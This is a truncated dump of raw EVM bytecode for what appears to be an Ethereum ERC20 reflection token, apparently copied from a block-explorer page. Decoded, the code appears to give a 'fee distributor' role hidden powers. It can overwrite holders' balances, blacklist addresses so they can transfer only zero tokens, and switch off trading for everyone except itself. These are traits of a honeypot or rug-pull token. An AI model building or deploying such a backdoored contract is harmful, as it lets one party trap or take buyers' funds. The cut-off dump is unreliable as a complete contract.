50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b3a611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c8d611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090612875565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612875565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610fc6906126f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff2906126f9565b801561103f5780601f106110145761010080835404028352916020019161103f565b820191906000526020600020905b81548152906001019060200180831161102257829003601f168201915b5050505050905090565b600061110c611056611390565b846111078560405180606001604052806025815260200161300d6025913960056000611080611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061112a611123611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612875565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611cb3919061243d565b60405180910390a35b611d18565b60011515600f60009054906101000a900460ff16151514611d17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0e90612d84565b60405180910390fd5b5b505050565b6000838311158290611d65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5c9190612338565b60405180910390fd5b5060008385611d749190612da4565b9050809150509392505050565b6000806000611d8e611ee9565b91509150611da581836112fc90919063ffffffff16565b9250505090565b60008083118290611df3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dea9190612338565b60405180910390fd5b5060008385611e029190612e07565b9050809150509392505050565b6000806000611e3b6003611e2d6064876112fc90919063ffffffff16565b6121bc90919063ffffffff16565b90506000611e52828661134690919063ffffffff16565b90508082935093505050915091565b600080600080611e7a85886121bc90919063ffffffff16565b90506000611e9186886121bc90919063ffffffff16565b90506000611ea8828461134690919063ffffffff16565b905082818395509550955050505093509350939050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000806000600e549050600069152d02c7e14af6800000905060005b600b8054905081101561216f578260076000600b8481548110611f2b57611f2a612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061201957508160086000600b8481548110611fb157611fb0612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561203857600e5469152d02c7e14af6800000945094505050506121b8565b6120c860076000600b848154811061205357612052612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461134690919063ffffffff16565b925061215a60086000600b84815481106120e5576120e4612e38565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361134690919063ffffffff16565b9150808061216790612e67565b915050611f05565b5061218f69152d02c7e14af6800000600e546112fc90919063ffffffff16565b8210156121af57600e5469152d02c7e14af68000009350935050506121b8565b81819350935050505b9091565b6000808314156121cf5760009050612231565b600082846121dd9190612eb0565b90508284826121ec9190612e07565b1461222c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161222390612f7c565b60405180910390fd5b809150505b92915050565b600080fd5b6000819050919050565b61224f8161223c565b811461225a57600080fd5b50565b60008135905061226c81612246565b92915050565b60006020828403121561228857612287612237565b5b60006122968482850161225d565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156122d95780820151818401526020810190506122be565b838111156122e8576000848401525b50505050565b6000601f19601f8301169050919050565b600061230a8261229f565b61231481856122aa565b93506123248185602086016122bb565b61232d816122ee565b840191505092915050565b6000602082019050818103600083015261235281846122ff565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006123858261235a565b9050919050565b6123958161237a565b81146123a057600080fd5b50565b6000813590506123b28161238c565b92915050565b600080604083850312156123cf576123ce612237565b5b60006123dd858286016123a3565b92505060206123ee8582860161225d565b9150509250929050565b60008115159050919050565b61240d816123f8565b82525050565b60006020820190506124286000830184612404565b92915050565b6124378161223c565b82525050565b6000602082019050612452600083018461242e565b92915050565b60008060006060848603121561247157612470612237565b5b600061247f868287016123a3565b9350506020612490868287016123a3565b92505060406124a18682870161225d565b9150509250925092565b600060ff82169050919050565b6124c1816124ab565b82525050565b60006020820190506124dc60008301846124b8565b92915050565b6124eb816123f8565b81146124f657600080fd5b50565b600081359050612508816124e2565b92915050565b6000806040838503121561252557612524612237565b5b60006125338582860161225d565b9250506020612544858286016124f9565b9150509250929050565b60008060006060848603121561256757612566612237565b5b6000612575868287016123a3565b93505060206125868682870161225d565b92505060406125978682870161225d565b9150509250925092565b6000602082840312156125b7576125b6612237565b5b60006125c5848285016123a3565b91505092915050565b6125d78161237a565b82525050565b60006020820190506125f260008301846125ce565b92915050565b6000806040838503121561260f5761260e612237565b5b600061261d858286016123a3565b925050602061262e858286016123a3565b9150509250929050565b7f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460008201527f6869732066756e6374696f6e0000000000000000000000000000000000000000602082015250565b6000612694602c836122aa565b915061269f82612638565b604082019050919050565b600060208201905081810360008301526126c381612687565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061271157607f821691505b60208210811415612725576127246126ca565b5b50919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612787602a836122aa565b91506127928261272b565b604082019050919050565b600060208201905081810360008301526127b68161277a565b9050919050565b7f416d6f756e74206d757374206265206c657373207468616e20737570706c7900600082015250565b60006127f3601f836122aa565b91506127fe826127bd565b602082019050919050565b60006020820190508181036000830152612822816127e6565b9050919050565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b600061285f601d836122aa565b915061286a82612829565b602082019050919050565b6000602082019050818103600083015261288e81612852565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b60006128f1602c836122aa565b91506128fc82612895565b604082019050919050565b60006020820190508181036000830152612920816128e4565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220c870bf3a061922bb4bc8fa7d10f9bdd7d9805e5e95fc8cd8fd53d6fee17acf8064736f6c634300080800330000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c357806395d89b411161007c57806395d89b411461038c578063a457c2d7146103aa578063a9059cbb146103da578063dd62ed3e1461040a578063de66a0041461043a578063fbdcf1ed1461046a5761014d565b806370a08231146102f2578063715018a61461032257806375619ab51461032c5780637e0b8152146103485780638129fc1c146103645780638da5cb5b1461036e5761014d565b806323b872dd1161011557806323b872dd146101f85780632d83811914610228578063313ce5671461025857806339509351146102765780634549b039146102a65780634d1d2b1a146102d65761014d565b8063053ab1821461015257806306fdde031461016e578063095ea7b31461018c578063158ef93e146101bc57806318160ddd146101da575b600080fd5b61016c60048036038101906101679190612272565b610486565b005b610176610600565b6040516101839190612338565b60405180910390f35b6101a660048036038101906101a191906123b8565b610692565b6040516101b39190612413565b60405180910390f35b6101c46106b0565b6040516101d19190612413565b60405180910390f35b6101e26106c7565b6040516101ef919061243d565b60405180910390f35b610212600480360381019061020d9190612458565b6106d9565b60405161021f9190612413565b60405180910390f35b610242600480360381019061023d9190612272565b6107b2565b60405161024f919061243d565b60405180910390f35b610260610820565b60405161026d91906124c7565b60405180910390f35b610290600480360381019061028b91906123b8565b610837565b60405161029d9190612413565b60405180910390f35b6102c060048036038101906102bb919061250e565b6108ea565b6040516102cd919061243d565b60405180910390f35b6102f060048036038101906102eb919061254e565b610974565b005b61030c600480360381019061030791906125a1565b610ae9565b604051610319919061243d565b60405180910390f35b61032a610b32565b005b610346600480360381019061034191906125a1565b610c85565b005b610362600480360381019061035d91906125a1565b610db9565b005b61036c610ea4565b005b610376610f8e565b60405161038391906125dd565b60405180910390f35b610394610fb7565b6040516103a19190612338565b60405180910390f35b6103c460048036038101906103bf91906123b8565b611049565b6040516103d19190612413565b60405180910390f35b6103f460048036038101906103ef91906123b8565b611116565b6040516104019190612413565b60405180910390f35b610424600480360381019061041f91906125f8565b611134565b604051610431919061243d565b60405180910390f35b610454600480360381019061044f91906125a1565b6111bb565b6040516104619190612413565b60405180910390f35b610484600480360381019061047f91906125a1565b611211565b005b6000610490611390565b9050600a60008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610516906126aa565b60405180910390fd5b600061052a83611398565b50505050905061058281600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134690919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105da81600e5461134690919063ffffffff16565b600e819055506105f583600c546113f090919063ffffffff16565b600c81905550505050565b60606002805461060f906126f9565b80601f016020809104026020016040519081016040528092919081815260200182805461063b906126f9565b80156106885780601f1061065d57610100808354040283529160200191610688565b820191906000526020600020905b81548152906001019060200180831161066b57829003601f168201915b5050505050905090565b60006106a661069f611390565b848461144e565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60006106e6848484611619565b6107a7846106f2611390565b6107a285604051806060016040528060288152602001612fe560289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610758611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b600190509392505050565b6000600e548211156107f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f09061279d565b60405180910390fd5b6000610803611d81565b905061081881846112fc90919063ffffffff16565b915050919050565b6000600460009054906101000a900460ff16905090565b60006108e0610844611390565b846108db8560056000610855611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b61144e565b6001905092915050565b600069152d02c7e14af6800000831115610939576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093090612809565b60405180910390fd5b8161095857600061094984611398565b5050505090508091505061096e565b600061096384611398565b505050915050809150505b92915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a04576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109fb90612875565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6b90612907565b60405180910390fd5b610aa181604051806060016040528060228152602001612f9d6022913984611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610b3a611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610c8d611390565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190612973565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d7557600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4090612875565b60405180910390fd5b6001600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b90612875565b60405180910390fd5b60011515600f60009054906101000a900460ff1615151415610f70576000600f60006101000a81548160ff021916908315150217905550610f8c565b6001600f60006101000a81548160ff0219169083151502179055505b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610fc6906126f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610ff2906126f9565b801561103f5780601f106110145761010080835404028352916020019161103f565b820191906000526020600020905b81548152906001019060200180831161102257829003601f168201915b5050505050905090565b600061110c611056611390565b846111078560405180606001604052806025815260200161300d6025913960056000611080611390565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b61144e565b6001905092915050565b600061112a611123611390565b8484611619565b6001905092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129890612875565b60405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061133e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611dac565b905092915050565b600061138883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d1d565b905092915050565b600033905090565b60008060008060008060006113ac88611e0f565b9150915060006113ba611d81565b905060008060006113cc8c8686611e61565b92509250925082828288889a509a509a509a509a5050505050505091939590929450565b60008082846113ff91906129c2565b905083811015611444576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143b90612a64565b60405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612af6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612b88565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161160c919061243d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611689576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168090612c1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f090612cac565b60405180910390fd5b6000811161173c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173390612d3e565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806117dd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156118265760008114611825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181c90612d84565b60405180910390fd5b5b60011515600f60009054906101000a900460ff161515148061187a575061184b611ebf565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806118b75750611888611ebf565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611cc157600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561195f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611b12576119d081604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a6581600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611b05919061243d565b60405180910390a3611cbc565b611b7e81604051806060016040528060268152602001612fbf60269139600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1d9092919063ffffffff16565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1381600660008573ffff